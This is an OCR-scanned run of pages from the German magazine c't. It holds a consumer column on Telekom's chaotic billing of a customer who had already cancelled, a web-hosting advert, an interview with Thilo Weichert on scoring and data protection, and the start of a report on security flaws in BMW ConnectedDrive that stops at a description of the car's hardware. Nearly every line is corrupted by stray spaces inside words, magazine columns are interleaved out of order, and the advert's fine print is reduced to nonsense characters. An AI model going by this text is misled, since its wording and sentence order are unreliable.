ein außerordentl iches Kündigungs­
recht zu, wenn die zugesicherte 
Bandbreite um mehr als 50 Prozent 
unterschritten wird. 

sch luss, den Funk-Router und die 

V• 0 8. Papierrechnung .  Renate M. wider­
sprach der Rechnung noch am 
g leichen Tag und fügte zum Beleg 

Sl·ca T eine der Künd igungsbestät igun­
gen bei, d ie sie erhalten hatte. Am 
7. Mai  fasste s ie te lefonisch nach 

Die Te lekom reag ierte, a l le r­
d ings  nicht in i h rem S inne. Wie­
der bestätigte das Unternehmen 

-Iu DEI und machte deutl ich, dass der Ver­
trag schon beendet war, a l s  die Te­
l ekom i h re Rechnung abgeschickt 

4 hatte. Nu r  29 Cent zuzüg l ich Mehr-

d ie Kündigung zum 30. Apri l .  Da Renate M.  
keine Lust  auf e ine recht l iche Auseinander­
setzung hatte, l ieß s ie es dabei bewenden.  
Am 1 3 . November flatterte eine d ritte Kündi­
gungsbestätigung ins  Haus .  Diesmal tei lte 
d ie  Telekom mit: "Sie können I h ren An-

wertsteuer bezah lte s ie - fü r zwei 
Telefonate, die sie im Apr i l  noch über  den 
Ansch l uss geführt hatte. 

Es ha lf  n ichts: Am 2. Jun i  trude lte d ie  
nächste Rechnung e in .  Den Mietpreis fü r den 
Funk-Router hatte d ie Telekom zwa r schon 
gutgeschrieben, a l lerdings erst ab  1 5 . Mai -
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a l so rund zwei Wochen zu wenig .  Die Grund­
gebüh r  so l l te Renate M.  weiterh in  fü r den 
kompletten Monat bezah len .  Wieder rief s ie 
dort an, erklä rte, dass der Vertrag schon 
längst beendet war und dass sie einen zu Un­
recht e ingezogenen Rechnungsbetrag zu­
rückbuchen werde. 

Am 1 0. Jun i  traf das nächste Schreiben ein. 
Nun künd igte d ie Telekom an,  am 1 9. Jun i  
46,58 Eu ro abzubuchen - den Betrag der  
Ma i-Rechnung .  "U nterstehen Sie s ich", 
schr ieb Renate M. zurück, " i rgendeinen Be­
trag von diesem Konto abzubuchen." Daran  
hie lt sich d ie Telekom immerhin .  S i e  buchte 
keine der strittigen Rechnungen ab.  

Dafü r t raf im Ju l i  d ie  nächste Rechnung 
e in .  Wieder sol lte Renate M.  42,29 Euro be­
zah len - fü r einen Vertrag, der über zwei Mo­
nate zuvor beendet worden war. Erneut wi­
dersprach sie der Rechnung .  Und nun gab es 
auch noch Probleme mit der Portierung der 
Festnetznummer zum neuen Anbieter Voda­
fone. Am 4. Ju l i  bat d ie  Telekom um einen 
Rückruf. Entnervt verzichtete d ie Ex-Kund in 
auf i h re Rufnummer, um sich nicht auch 
noch mit d iesem zusätzl ichen Problem aus­
einandersetzen zu müssen. 

Am 24. Ju l i  traf d ie  erste Mahnung ein. 
85,42 Eu ro wol lte d ie  Te lekom haben und 
d rohte dabei g leich m i t  fristloser Kündigung 
und Ansch lusssperre. Nun  r i ss  Renate M. der 
Gedu ld sfaden und s ie beauftragte e inen 
Rechtsanwa lt, der das Prob lem fü r sie lösen 
sol lte. Der Telekom tei lte s ie per E inschrei­
ben mit, d iese möge künftige Zah l ungsauf­
forderungen bitte d i rekt an  i h ren gesetzl i­
chen Vertreter schicken .  l n  Kopie fügte s ie 
e ine der vie len Künd igungsbestätigungen 
bei .  

Ansc h I  usssperre 

Die Annahme der Augustrechnung verwei­
gerte sie. Am 1 .  September erhie lt sie schon 
d ie nächste Rechnung .  Diesmal hatte d ie Te­
lekom ih re Drohung wahr  gemacht und den 
nicht mehr vorhandenen Ansch luss gesperrt, 
und das offenbar g le ich doppelt, denn auf 
der Rechnung tauchten zwei Posten "Kosten 
fü r Ansch luss-Sperre" a 1 0  Euro auf. 

Am 2. Oktober g ing es weiter. Nun  schrieb 
d ie Telekom die Grundgebühren fü r Ju l i, Au­
gust und September gut und verze ichnete 
zum 1 .  Ju l i  den Wegfa l l  des Grundpreises. Fü r  
Papierrechnungen tauchten 4,0 1  Eu ro Gut­
sch rift auf, g leichzeitig berechnete die Tele­
kom aber erneut den Standardbetrag von 
1 ,97 Euro fü r d ie Papierrechnung .  Die Kosten 
fü r die Ansch lusssperre tauchten wieder auf, 
diesmal a l s  Gutsch rift. Die Rechnung umfass­
te weitere 68,26 Euro Gutsch rift fü r den An­
sch l u ss, aber ohne e inen Zeitra um zu nen­
nen. I nsgesamt betrug d ie Gutsch rift 222,22 
Euro inkl usive Mehrwertsteuer. 

Für Renate M. sah es so aus, als stünde der 
Fal l  end l ich ku rz vor der Lösung .  Da erhie lt 
s ie am 1 3 . Oktober e ine Mahnung über  
1 49,87 Euro. Die möge sie bitte "ku rzfristig 
mit dem bei l iegenden Überweisungsformu­
lar" bezah len .  Das lehnte sie ab  und tei l te der 
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Telekom zum siebten Mal mit, dass der Ver­
trag schon lange gekündigt sei und dass sich 
das Unternehmen doch bitte mit ih rem An­
wa lt i n  Verb indung setzen sol le .  

Am 3 .  November kam d ie nächste Rech­
nung.  Nun tauchten bei den monatl ichen Be­
trägen nur noch 2,37 Euro fü r die Papierrech­
nung auf, das Guthaben betrug indessen 
73,01 Eu ro. Ihr Anwa lt riet i h r, abzuwa rten .  
Die Dezemberrechnung l ieß Renate M.  zu­
rück an  den Absender gehen .  Im  Januar  traf 
wieder eine Rechnung ein. Die enthielt plötz­
l ich a l l e  Papierrechnungen ab 1 .  Ju l i  201 4 a l s  
Gutschrift. Immer noch unkla r  b l ieb, wie die 
Telekom die ebenfa l l s  fa lschen Rechnungen 
von Mai und Juni verbucht hatte. Sie wandte 
sich H i l fe suchend an  c't und sch i lderte ih re 
Geschichte. 

Nachgefragt 

Auch uns  ge lang es n icht, Ordnung  i n  das 
Rechnungs-Chaos zu br ingen.  Die Beträge 
der Gutsch riften und Rechnungen passten 
nicht zusammen und zwei der Rechnungen 
fehlten. Wi r legten den Fa l l  der Presseste l l e  
der Telekom vor  und  baten um eine Ste l­
l u ngnahme. Außerdem wol lten wir wissen, 
welchen Stand das Kundenkonto von Rena­
te M. aktue l l  aufwies. Die Telekom bestätigte 
auf unsere F ragen h in, dass gegen Renate M. 
keine offenen Forderungen mehr bestehen. 
"Unser Feh ler ist gefunden und rückwi rkend 
korrig iert worden", berichtete Pressespre­
cher Ch ristian Fischer. 

"Die Kund in hat i n  der Tat fristgerecht ge­
kündigt", rä umt Fischer ein. Das sei ihr auch 
korrekt bestätigt worden.  U rsache des Pro­
blems war der Ana lyse der Telekom zufolge 
e in Auftrag zur Portierung der Rufnummer, 
den der aufnehmende Netzbetreiber aber 
wieder storniert hatte. Daraus resu ltierte wie­
derum die Künd igungsbestätigung mit den 
Kosten fü r die Rufnummernportierung.  

Und hier passierte der Feh ler: "Daraufh in 
wu rde d ie u rsprüng l iche, fristgerechte Kün­
digung unsererseits nicht weiter ausgefüh rt", 
weiß F ischer. Das sei aber erst du rch d ie 

Service im Visier 

Immer wieder bekommen wi r  E-Mai l s, in 
denen s ich Leser über sch lechten Service, 
ungerechte Garantiebedingungen und 
überzogene Reparatu rpreise beklagen. Ein 
gewisser Tei l  dieser Beschwerden ist offen­
bar unberechtigt, wei l die Kunden etwas 
überzogene Vorstel l ungen haben. Vieles 
entpuppt sich bei genauerer Analyse auch 
als a l ltäg l iches Verhalten von a l lzu scharf 
ka l ku l ierenden F i rmen in der IT-Branche. 

Manchmal erreichen uns aber auch Sch i l ­
derungen von geradezu haa rsträubenden 
Fä l len, d ie deutl ich machen, wie einige 
Firmen mit ih ren Kunden umspringen. ln 
unserer Rubrik "Vorsicht, Kunde!" berichten 

Rückmeldung der Kund in  und später i h res 
Rechtsanwa lts aufgefa l len .  Aufgrund d ieser 
Beschwerde habe d ie Telekom rückwirkend 
das Vertragsverhältnis beendet und d ie Ent­
gelte von April bis Ju l i  erstattet. 

Dabei passierte wieder ein Feh ler, denn 
d ie Kosten fü r den Versand der Papierrech­
nung l iefen weiter - was wiederum neue, ih­
rerseits kostenpfl icht ige Papierrechnungen 
produzierte. Auch das se i  aber mit der Rech­
nung vom Januar er ledigt. "Die in  d ieser Zeit 
versendeten Mahnungen sind jewei ls Über­
schneidungen, da tei ls  die Gutsch riften noch 
nicht vera rbeitet, die Mahnsperren aber of­
fensichtl ich schon abgelaufen waren", erklärt 
Fischer das Ma lheur. 

Chaotisches System 

Zwa r sind d ie Rechnungen der  Telekom 
übersichtl ich und sauber aufgesch lüsselt, bei 
Mahnungen und Gutschriften ver l ieren Kun­
den aber leicht den Überbl ick. Die Ei nzelpo­
sit ionen tauchen ohne Mehrwertsteuer a uf; 
in Mahnungen stehen wiederum Gesamtbe­
träge mit Mehrwertsteuer . Da ge l ingt es 
nicht immer, Licht ins Dunke l  zu br ingen.  
Sel bst d ie  Te lekom brauchte bei Renate M. 
viele Monate dafür. 

Bricht ein solches Rechnungschaos aus, 
so l l te man mit ruhiger Hand agieren. Bucht 
das Unternehmen fa lsch ab, sol lte man nu r  
zu rückbuchen, wenn die Beträge das  persön­
l iche Budget sprengen oder wenn die F rist 
fü r die Rückbuchung abzu la ufen d roht, 
bevor der Fa l l  geklärt ist. 

Vorei l ige Aktionen, bei denen Überschnei­
dungen zwischen Rückbuchungen und Gut­
sch riften d rohen, verkompl izieren die Ange­
legenheit zusätzl ich .  Meist reicht es wie im 
vor l iegenden Fa l l  aus, dem Anbieter das Ab­
buchen zu untersagen.  ln Hä rtefä l len h i l ft 
mögl icherweise der Verbraucherservice der 
Bundesnetzagentur dem Anbieter auf d ie 
Sprünge. Be i  Problemen wie unberechtigten 
Ansch lu sssperren oder langen Ausfä l len 
kann  eine Beschwerde dort n ie schaden. 

(uma@ct.de) 

wir über solche Entg leisungen, Ungerech­
tigkeiten und dubiose Geschäftspraktiken. 
Damit erfahren Sie als Kunde schon vor 
dem Kauf, was Sie bei dem jewei l igen 
Unternehmen erwarten oder manchmal 
soga r befü rchten müssen. Und womögl ich 
veranlassen unsere Berichte ja auch den 
einen oder anderen Anbieter, sich zukünf­
tig etwas kundenfreund l icher und ku lanter 
zu verhalten. 

Fal ls Sie uns eine solche böse Erfahrung 
mittei len wol len, senden Sie bitte 
eine chronologisch sortierte knappe 
Beschreibung Ih rer Erfahrungen an :  
vorsichtkunde@ct.de. 
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lblu-vServer ,. B X "  
Wahlweise 1.000 G B  H D D  oder 300 G B  SSD 
> 32 G B  AAM garantiert 

> 48 G B  AAM maximal 

> Bis zu 16 C P U -vCores nutze n 

> 6 I P-Ad resse n ve rfüg bar 

> Plesk 12 
> Traffic inklusive 

> SS L-Zertifikat inklusive 

statt 49,-€ 
nur 

1 -, 
€/M onat* 

6 Monate lang ! 

1blu -vServer " LX" 
Wahlweise 200 G B  HDD oder 80 G B  S S D  
> 4 GB A A M  g arantiert 

> 8 GB AAM maximal 

> B is  z u  2 CPU-vCores nutzen 

> 2 I P-Adresse n verfügba r  

> Plesk 12 
> Traffic i n kl usive 

> S S L-Ze rtifikat i n klusive 

statt 7, 90 € 
nur 

1 -, 
€/Monat* 

6 Monate langt 
• Pr,.s/Monat l nkl 1 9% MwS1 Be1 Beatellung b1s 2 8  02 2 0 1 5  a lle 1 blu-vS,. ver fOr 1 • •  €/Monat 1 n  den l>'sten II Monaten (Vertragalaurze• Jeweolo 1 2  Monats); da nach Jeweils reguUirer Preis/Monat 
(Z-8 1 blu.vServar .U(• 7 .90 E. 1 blu-vS81ver .ex· 49.- E) Keine Elnrichtu�hr mr 1blu.vServ81 bei einer Vert•ag&lauftell von 12 Monaten Ver1r49e jeweüs jederzeit kündbar mll einem Monat Fnst 
:wm Ende der VeiVIIQalaufze� All9eb0le für andere Vl!<1rngslaufzerten siehe www l blu da Bei Sollw818- Besle�ung 7.90 E Veo aandkoslen 

o 3 o - 2 0  1a  1 0  o o  1 www.lb lu .de/server 



Report I Scoring 

Ch rist iane Sch u l zki-Haddouti 

Fessel n fü rs Scoring 
Datensc h ü tzer Th i l o  Weichert ü ber 
d i e  a uto matische Bewert u n g  vo n Perso nen 

Wie vermess- und bewertbar ist de r  Mensch - und wie kan n  er sich gegen 
die Erfassung seiner Lebensparameter weh ren? Verbraucher- und Daten­
schützer d rängen seit  Langem auf eine Neurege lung des Scoring, m it dem 
Firmen zu nehmend automatisiert entscheiden, wer welche Angebote erhält. 

S cori ng wird nicht nur bei der Vergabe von 
Krediten eingesetzt, sondern auch in  der 

Werbung, bei Versicherungen, der Vergabe 
von Arbeitsp lätzen oder der Auswah l  von 
Mietern. E ine aktue l le Studie des Unabhängi­
gen Landeszentrums fü r Datenschutz Schles­
wig-Holstei n und  des sozia lwissenschaft­
l iehen Forschungsinstituts "GP Forschungs­
gruppe" macht konkrete Vorsch läge fü r den 
Verbraucherschutz beim Scor ing. Die Studie 
wurde im Auftrag des Bundesverbrauchermi­
n isteriums erste l l t  und so l l  auf e iner Veran­
sta ltung des Bundesjustizministeriums d isku­
tiert werden. Wi r sprachen mit einem Autor 
der Stud ie, dem schleswig-holste in ischen 
Landesdatenschützer Thi lo Weichert. 

c't: in Ihrer Studie steht, bisher scheitere jede 
Prüfung der Wissenschaftlichkeit der beim Sco­
ring verwendeten mathematischen Verfahren 
schon "im Ansatz". Was wären denn brauch­
bare Prüfkriterien ? 

Thilo Weichert: Die Datenschutzaufsichts­
behörden haben n icht das Know-how und 
d ie Ressou rcen, d ie Wissenschaft l ichkeit von 
Scoring-Verfah ren zu h interfragen, ge­
schweige denn positiv festzuste l l en .  Dies 
füh rt dazu, dass wesentl iche gesetzl iche An­
forderungen nicht du rchgesetzt werden.  
Wir sch lagen vor, d ie "Wissenschaft l ichkeit" 
näher zu konkretisieren, etwa du rch E ingren­
zen der Datenque l l en, Aussch l uss von d i s­
krim in ierungsträchtigen Merkma len, du rch 
Aufnahme des Erfordernisses der P laus ib i l i ­
tät. Außerdem ha lten wir es fü r s innvol l ,  d ie 
Anerkennung der Wissenschaft l i chkeit der  
mathematisch-statistischen 
Verfahren von einem Anzei­
ge- und Zu lassungsverfah­
ren abhängig zu machen. 

c't: Muss Scoring immer in 
Bezug auf " Vorname Nach­
name" stattfinden oder gäbe 
es da datenschutzfreundli­
chere Möglichkeiten ? 

Weichert: Vor- und Nachna­
me a l s  Identifizierungsmerk­
mal s ind äußerst feh leranfä l ­
l ig, wei l  d iese regelmäßig i n  
einer Gese l l schaft mehrfach 
vorkommen und es so zu 
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Verwechs l ungen kommt. Dies kann  fü r die 
Betroffenen e ine existenzvernichtende Wir­
kung haben. Selbst die H inzunahme weiterer 
Identifizierungsmerkmale wie Wohnort oder 
Gebu rtstag sch l ießt Verwechs l ungen nicht 
aus .  Tatsächl ich wä re es denkbar, mit du rch 
genügend Merkma le e indeut ig defi n ierten 
Pseudonymen zu a rbeiten. Dies hätte zudem 
den Vortei l ,  dass dadurch zweckwidrige Nut­
zungen eingeschränkt werden können.  

c't: Sie beziehen sich in Ihrer Studie vor allem 
auf Kredit-Scoring, da dieses gesetzlich geregelt 
ist. Sie weisen jedoch darauf hin, dass Scoring 
auch in anderen Bereich Einzug hält. Welche 
zum Beispiel? 

Weichert: Am weitesten verbreitet, aber nicht 
so i nvasiv, ist das Werbe-Scor ing.  Hochpro­
blematisch ist der E inzug des Secr ings i n  
existenzie l le  Lebensbereiche, so  etwa bei Ar­
beitgebern, bei der Wohnraumvermietung, 
i n  der  Versicherungsbranche, bei der Tele­
kommun ikat ion und natür l ich genere l l  in 
sämtl ichen Bereichen der I nternetwi rtschaft 

c't: Sind die bislang für die Kreditwirtschaft ge­
forderten Scoring-Regeln auch auf andere Be­
reiche übertragbar? 

Weichert: Die derzeit besonders fü r d ie Kre­
d itwirtschaft formu l ierten Anforderungen 
s ind - das i st  e in wesentl iches Ergebnis un­
serer Untersuchung - unzureichend. Das ge l ­
tende Gesetz ist aber grundsätz l ich auch 
auf andere Lebenssachverha lte anwendbar, 
wenn dies Auswi rkungen auf Vertragsgesta l -

o Thi lo Weichert ist � Datenschutzbeauftragter 
� des Landes Schleswig-� Holstein und Leiter des � Unabhängigen Landes-
� zentrums für Datenschutz 

--- - � Schleswig-Holstein (ULD). 

tungen hat. Wi r meinen i n  unserer Stud ie, 
auch faktische Diskriminierungen und Mani­
pu lat ionen über den Score sol lten rechtl ich 
expl izit ausgesch lossen werden.  Wenn unse­
re herausgea rbeiteten Anforderungen Ge­
setz würden, l ieße sich sicher e in Ei nsatz des 
Scor ing i n  anderen Lebensbereichen eher 
rechtfertigen a l s  bisher. 

c't: Viele Scores für Kreditwürdigkeit basieren 
derzeit auch auf Geodaten, auch wenn alle be­
fragten Scoring-Unternehmen betonen, dass 
diese keine überwiegende Rolle spielen. Genügt 
Ihnen diese Versicherung? 

Thilo Weichert: Nein. Diese Behauptung besagt 
n ichts anderes, a l s  dass man s ich an d ie  
gesetzl ichen Mindeststandards ha lten würde. 
Tatsächl ich belegen viele Einzelfä l le, dass die 
Wohnad resse oft das fü r e inen Score au s­
sch laggebende Merkma l  ist . Und  das ist 
rechtswidr ig .  Die Datenbasis vieler Secring­
Unternehmen ist dünn. Anstatt auf eine Score­
Berechnung zu verzichten, werden dann i n  
vielen Fä l len dubiose Werte berechnet. 

"Die derzeit für das Scoring 
formulierten Anforderungen sind 

unzureichend." 

c't: Falls die Verwendung von Geodaten beim 
Kredit-Scoring gänzlich verboten würde, bliebe 
nicht die Schufa als einzige Auskunftei, die 
noch auf verlässliche Daten zurückgreifen 
kann? 

Weichert: Wenn  das so wä re, müsste man 
d ies h innehmen. Tatsächl ich aber haben vie l  
zu vie le F i rmen i rgendwelche bonitätsre le­
vanten Daten .  Das g roße Problem besteht 
darin ,  dass e in ige Unternehmen aus Merk­
ma len, aus  denen man auf p laus ib le  Weise 
keine Rücksch lü sse auf Zah l ungsfäh igkeit 
und -Wi l l i gkeit ziehen kann, trotzdem statis­
tische Aussagen über die Bon ität ab leiten 
und nutzen. 

c't: Im Internet veröffentlichte Daten, etwa in 
sozialen Netzwerken, gelten als allgemein zu­
gänglich und dürfen deshalb nach geltender 
Rechtslage für Scoring-Zwecke verwendet wer­
den. Gesellschaftlich akzeptiert ist das aller­
dings nicht, wie die Diskussionen um das Schu­
fa-Projekt des Hasso-Piattner-lnstituts zeigten. 
Wie könnte hier eine Lösung aussehen ? 

Weichert: Unsere erfreu l iche Erkenntn is  i n  
de r  Studie ist, dass in  Deutsch land - anders 
als etwa in  den USA - der Rückgriff auf a l lge­
mein zugäng l iche Daten aus dem I nternet 
zumindest bei Kredit-Scor ing noch nicht üb­
l ich ist. Die Secri ng-Unternehmen haben 
Vorbeha l te, wei l d ie  Richtigkeit der Daten 
und deren Aussagekraft nicht gewährleistet 
ist. Über eine aktive Auskunftspfl icht der F i r­
men, d ie Secr ing einsetzen, bestünde fü r die 
Betroffenen eine Chance, fa lsche und miss­
verständ l iche Daten zeitnah zu korr ig ieren. 
Wir haben vorgesch lagen, ana log zum Tele-
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mediengesetz I nformationspfl ichten und  
e ine  Widerspruchsmög l ichkeit be im E insatz 
von Daten zum Zweck der Profi lb i l dung zu 
normieren. Das s ind aber in  jedem Fa l l  Krü­
cken. Ich behaupte, dass der Nutzung von ln­
ternetdaten fü r Scoring-Zwecke in  jedem Fa l l  
offens icht l ich schutzwü rdige Betroffenen­
interessen entgegenstehen.  Das bedeutet: 
Solche Scoring-Verfahren sind rechtswidr ig .  

c't: Wie können Verbraucher ihre Rechte wirk­
sam und ohne allzu großen Aufwand wahr­
nehmen, wenn Scoring-Unternehmen wie Del­
tavista die Scores von anderen Unternehmen 
aufkaufen und zu Hybrid-Scores verarbeiten ? 

Weichert: Zentra l ist unseres Erachtens d ie 
Verbesserung der Transpa renz. Viele wissen 
n icht, dass s ie jähr l ich ein unentge lt l iches 
Auskunftsrecht haben. Viele kennen die Sco­
r ing-F i rmen nicht. H ie r  kann  ein gemein­
sames Auskunftsporta l Abhi lfe schaffen. E in 
Haupth indern is  besteht dar in, dass - mit 
dem Segen des Bundesgerichtshofes - über 
das wesent l iche Zustandekommen des 
Scores, a lso über  Gewichtung und Ver­
g leichsgruppen, keine Auskunft erte i l t  wer-

c't: Wird der deutsche Gesetzgeber angesichts 
der kommenden europäischen Datenschutz­
Grundverordnung überhaupt tätig werden ? 

Weichert: Auch das ist völ l ig  unkla r. Er wäre 
aber sehr gut beraten .  Die Vorsch läge zum 
b isher  h ierfü r vorgesehenen Arti kel 20 in  der 
Grundverordnung s ind weniger konkret a ls 
das, was wir bisher in  Deutsch land haben. l n­
sofern könnte Deutsch land hier eu ropaweit 
als Vorbi ld auftreten. 

c't: Hätte eine deutsche Regelung denn Bestand 
und würde sie nicht von europäischem Recht 
einkassiert werden ? 

Weichert: E ine inte l l igente eu ropäische Lö­
sung ist natür l ich e iner nat iona len Lösung 
vorzuziehen.  Ich vermute aber, dass  e ine  
europäische Rahmenrege lung konkretis iert 
werden müsste. H ierzu können deutsche De­
ta i l regel ungen förderl ich sein .  Im Bereich der 
sogenannten künst l ichen I ntel l igenz und  
von B ig  Data haben wir aber ohneh in  e ine 
s ich rasant verändernde technische Land­
schaft, d ie mittelfristig weitere ju ristische Re­
aktionen notwendig machen. 

"Die Abhängigkeit von der digitalen Bevormundung ist für eine 
humane Informationsgesellschaft eine Katastrophe." 

den muss. Diese Rechtsprechung ist meiner 
Überzeugung nach wegen eines Verstoßes 
gegen den Datenschutz verfassungswidr ig .  

c't: Wie sind selbstlernende Algorithmen daten­
schutzrechtlich zu bewerten, wie sie das Ham­
burger Start-up Kreditech verwendet? Diese 
stützen sich unter anderem auf Ortsdaten, So­
cial Graphs, Internet-Verhalten, Shopping-Ver­
halten und Gerätedaten. 

Weichert: Sel bstl ernende Algor i thmen ma­
chen es dem Secri ng-Unternehmen regel­
mäßig faktisch unmögl ich, das Zustande­
kommen eines ind ividue l len Scores zu recht­
fertigen, weil das Verfahren nicht mehr vol l ­
ständ ig dokumentiert und nachvo l lz iehbar 
ist .  Damit läuft a uch das Auskunftsrecht der 
Betroffenen ins  Leere. So l len solche Verfah­
ren zugelassen werden, dann benötigen wir 
zusätzl ich rechtl iche E inschränkungen und 
Sicherungen. 

c't: Welche Chancen haben die von Ihnen ge­
forderten gesetzlichen Regelungen im politi­
schen Raum? 

Weichert: Ich habe den E indruck, dass unser 
Gutachten fü r das Justiz- und Verbrauchermi­
n isteri um und fü r vie le Medien eine hohe 
Überzeugungskraft besitzt. Natür l ich hat die 
Wirtschaft keine Lust auf einschränkende Ge­
setzesänderungen. Hierüber wird in  diesem 
Jahr noch e in wissenschaft l icher und pol it i­
scher Diskurs geführt werden. Ich hoffe natü r­
l ich, dass unsere guten Argumente letztend­
l ich den Gesetzgeber überzeugen werden. 
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c't: Die Deutschen sind derzeit die einzigen, die 
überhaupt eine Scoring-Regelung haben. Gibt 
es denn insofern in den anderen europäischen 
Mitgliedstaaten überhaupt eine Sensibilität für 
die Problematik? 

Weichert: Ja und nein .  Scor ing wi rd EU-weit 
praktiziert. Die Probleme sind a l l gemein be­
kannt .  Die anderen Mitg l iedstaaten haben 
aber noch nicht - wie Deutsch land - positive 
und negative Erfah rungen mit der Anwen­
dung einer expl iziten Rege lung .  Umso wich­
tiger ist es, unsere Erfah rungen hier e inzu­
br ingen. 

c't: Es zeichnet sich ein Trend ab, dass Men­
schen freiwillig Unternehmen immer mehr 
ihrer Daten, darunter nicht nur Finanz-, son­
dern auch Gesundheitsdaten, für Zusatzdienste 
zur Verfügung stellen. Diese Unternehmen kön­
nen Menschen nicht nur immer zutreffender 
bewerten, sondern auch manipulieren. 

Weichert: Dieser Trend ist in g rößerem Maß 
Rea l i tät, a l s  wir uns  dies e ingestehen. Goo­
g le, Apple, Amazon, Facebook d i rig ieren das 
Leben von vie len Menschen stä rker, als es 
d iesen bewusst ist. Die Kooperation zwi­
schen den F i rmen und dem Staat geht wei­
ter, als wir das akzeptieren können. Das hat 
uns Edwa rd Snowden kla rgemacht Wer je­
doch mit seinen Daten bewusst spa rsam um­
geht, kann  sich dieser F remdbestimmung in 
vieler lei H insicht noch entziehen. 

c't: Widerspricht diese Entwicklung nicht der 
bei uns geltenden Rechtslage? 

Weichert: ln den USA gibt es nu r  wenig recht­
l ichen Widerstand.  ln Eu ropa stehen d ieser 
Entwickl ung unsere digitalen Rechte gemäß 
der Grundrechte-Cha rta und d ie Rechtspre­
chung des Europäischen Gerichtshofes und 
des Bundesverfassungsgerichtes entgegen. 
Die Gesetzeslage ist noch wenig befriedi­
gend.  Desha l b  brauchen wir ja a uch d ie 
Datenschutz-Grundverordnung .  Aber auch 
schon das - ungenügende - bestehende 
Recht wird derzeit nur ungenügend umge­
setzt. Ob das rechtl iche und praktische Defizit 
abgebaut oder verg rößert wird, hängt von 
vielen Umständen ab, insbesondere vom ge­
sel lschaftl ichen Disku rs über d iese Fragen. 

c't: Wie könnte diese Entwicklung gestoppt 
werden ? 

Weichert: E ine gesamtgese l l schaft l iche An­
strengung ist h ier  gefordert. E inen ganz 
wichtigen Pa rt spie len d ie Medien und die 
öffent l iche Me inung .  Die eu ropäische IT­
Wi rtschaft muss sich von der US-Bevormun­
dung befreien. Die Verbraucher müssen s ich 
überwachungsbewusst im Markt behaupten. 
Die Pol it ik h inkt der Diskussion und den Not­
wend igkeiten i nsbesondere auf nat iona ler  
Ebene massiv h interher. 

c't: Muss es ein Recht auf Nicht-Bewertet­
Werden geben, um negative Folgen auszu­
schließen, wenn beispielsweise für einen Kun­
den keine Score-Bewertung existiert? Oder 
würde dieses zu sehr in die Meinungsfreiheit 
eingreifen ? 

Weichert: Pro Forma g ibt es d ieses Recht 
schon heute i n  Form eines Widerspruchs­
rechtes gemäß der europäischen Daten­
schutzricht l i n ie. Dieses ist aber wenig be­
kannt und wi rd praktisch nicht du rchgesetzt. 
Ob d ieses Recht du rchsetzba r wäre, ist eine 
weitere F rage. Schon heute ist es so, dass oft 
e in sch lechter Score immer noch besser ist, 
a l s  wenn überhaupt kei n  Score berechnet 
wurde. Die Abhäng igkeit von der d ig ita len 
Bevormundung i s t  fü r e ine humane I nforma­
tionsgese l lschaft eine Katastrophe. 

c't: in den USA wird die Einrichtung von Ethik­
Kommissionen für Algorithmen überlegt. Dies 
wird auch hier bereits im wissenschaftlichen 
Umfeld diskutiert. Inwieweit wäre so etwas 
sinnvoll? 

Weichert: Eth ik-Kommissionen s ind fü r den 
gese l l schaft l ichen Diskurs wichtig. Sie s ind 
aber n icht in der Lage, gesta ltend auf den E in­
satz von I nformationstechnik einzuwirken. 
Dazu muss die ethische Bewertung normativ 
festgelegt und exekutiv durchgesetzt werden. 
Genau das versuchen wir mit unserem - tei l­
weise ungenügenden - datenschutzrechtl i­
chen I nstrumentari um.  Wichtig ist, dass der 
Disku rs n icht nur  unter Fachleuten und Wis­
senschaftlern läuft. Wir brauchen eine politi­
sche Debatte unter Einbeziehung a l ler  Betrof­
fenen und letztl ich Festlegungen durch Legis­
lative, Exekutive und Rechtsprechung. 

(uma@ct.de) c'l: 
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Report I Vernetzte Autos 

Dieter Spaar 

Auto, öffne dich! 
Sicherheits l ü c ken bei BMWs Con n ected Drive 

Autos mit e ingebautem Modem senden Daten an die Herste l ler  und der 
ADAC wol lte wissen, was da genau übertragen wird. c't verm itte lte e inen 
Experten, der im  Auftrag des ADAC die Ü bertragung am Beispie l  von 
BMWs ConnectedDrive untersuchte. Er  stieß dabei auf Sicherheits lücken, 
die sogar das u nberechtigte Öffnen der Fahrzeuge ermögl ichten.  

D as I nternet der D inge macht 
auch vor dem großen Ding 

in  der Garage nicht halt : l n  immer 
mehr Autos ist bereits ab  Werk 
ein Mobi lfunkmodem mit S IM­
Karte eingebaut. Je nach Herstel ler 
haben die Modems verschiedene 
Funktionen: Sie können den Fahr­
zeuginsassen I nternet-Zugang ge­
währen, Telemetriedaten und Traf­
fic-l nfos zum Fahrzeugherste l ler 
übertragen sowie bei einem Unfa l l  
d ie Rettungskräfte verständigen. 
Bei ein igen Marken lassen s ich au­
ßerdem Fahrzeugfunktionen über 
eine Handy-App fernsteuern, etwa 
die Standheizung oder das Laden 
der Antriebs-Batterie von Elektro­
Fahrzeugen. Sel bst das Ver- und 
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Entriegeln der Türen aus der Ferne 
ist so mögl ich. 

Zu den auf diesem Gebiet füh­
renden Herste l lern gehört BMW; 
sei n ConnectedDrive ist schon 
seit etl ichen Jahren im Ei nsatz 
[ 1 ) .  Ebenso wie c't interessiert 
sich auch der ADAC unter Aspek­
ten des Verbraucher- und  des 
Datenschutzes dafü r, welche 
Daten dabei übertragen werden 
[2] . Er hat mich daher beauftragt, 
d ies im Deta i l  zu untersuchen.  
Mit überraschendem Ergebnis :  
Obwoh l  der Fokus gar n icht auf 
der S icherhe it  lag, fanden s ich 
erhebl iche Lücken.  

Der ADAC ste l lte fü r d ie  Un­
tersuchung e in ige BMW-Fah r-

zeuge mit ConnectedDrive zur  
Verfügung, darunter e inen 320d 
Tour ing .  Spezie l le  I nformationen 
vom Herste l ler  gab es nicht - nu r  
das, was man im I nternet fi ndet. 

Um einen ersten E indruck zu 
bekommen, untersuchte ich das 
fü r ConnectedDrive zuständ ige 
Steuergerät. Diese sogenannte 
Combox g ibt es i n  verschiede­
nen Varianten. Sie ist unter ande­
rem fü r Mu lt imed iafunkt ionen 
wie das Abspie len von Mus ikda­
teien von einem USB-Stick oder 
d ie  B luetooth-Kopp lung eines 
Mobi l te lefons mit der  F rei­
sprecheinrichtung zuständig .  Sie 
wird seit 201 0 in  d iversen BMW­
Model len verbaut. 

A ls  Hauptprozessor nutzt d ie  
Combox e inen SH-4A von Rene­
sas, e inen le istungsfäh igen 32-
Bit-RISC-Prozessor. Die Mobi l ­
funkkommunikation erfolgt über 
e in GSM/GPRS/EDGE Modu l  von 
Cinter ion (ehema l s  S iemens) .  
Au ßerdem steckt noch e in  
V850ES-Mikrocontro l le r  von Re­
nesas dr in .  Er kommt vermutl ich 
wegen seines ger ingen Strom­
verbrauchs zum E insatz, damit  
das System auch bei abgeste l l ­
